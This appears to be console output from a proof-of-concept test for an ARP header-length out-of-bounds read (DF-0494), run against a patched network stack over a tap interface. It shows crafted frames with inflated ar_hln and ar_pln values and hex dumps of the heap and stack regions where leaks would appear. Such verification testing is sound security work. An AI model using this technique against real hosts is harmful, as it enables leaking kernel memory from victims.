=== PATCHED: HEAP attempt (ar_hln=100, ar_pln=4) ===
=== DF-0494 ARP ar_hln/ar_pln OOB-read PoC ===
ar_hln=100 ar_pln=4  arp_body=216  frame=230  victim_ip=10.99.99.1
[*] injecting crafted ARP REQUEST via /dev/tap0 (ingress)
[+] injected 230 bytes
[!] NO REPLY captured (this is the FIXED/patched behaviour)
rc=2
=== PATCHED: STACK attempt (ar_hln=6, ar_pln=100) ===
=== DF-0494 ARP ar_hln/ar_pln OOB-read PoC ===
ar_hln=6 ar_pln=100  arp_body=220  frame=234  victim_ip=10.99.99.1
[*] injecting crafted ARP REQUEST via /dev/tap0 (ingress)
[+] injected 234 bytes
[!] NO REPLY captured (this is the FIXED/patched behaviour)
rc=2
=== PATCHED: LEGAL ARP (ar_hln=6, ar_pln=4) ===
=== DF-0494 ARP ar_hln/ar_pln OOB-read PoC ===
ar_hln=6 ar_pln=4  arp_body=28  frame=42  victim_ip=10.99.99.1
[*] injecting crafted ARP REQUEST via /dev/tap0 (ingress)
[+] injected 42 bytes
[+] captured reply frame: 42 bytes
[*] reply ether-dst = 02:00:de:ad:be:ef  (== attacker mac)
[*] reply ether-src = 00:bd:10:2c:00:00  (== tap0 real mac)
[*] reply ar_op=0x0002 (REPLY)  ar_hln=6  ar_pln=4

[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte MAC) [#####]
---- reply ar_sha region [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
  0000: 00 bd 10 2c 00 00  |...,..|

[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa region [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
  0000: 0a 63 63 01  |.cc.|

[*] reply ar_tha (should echo attacker mac + 0xCC filler):
     02 00 de ad be ef ...

[+] DF-0494 REPRODUCED: victim returned 0 heap OOB bytes + 0 stack OOB bytes
rc=0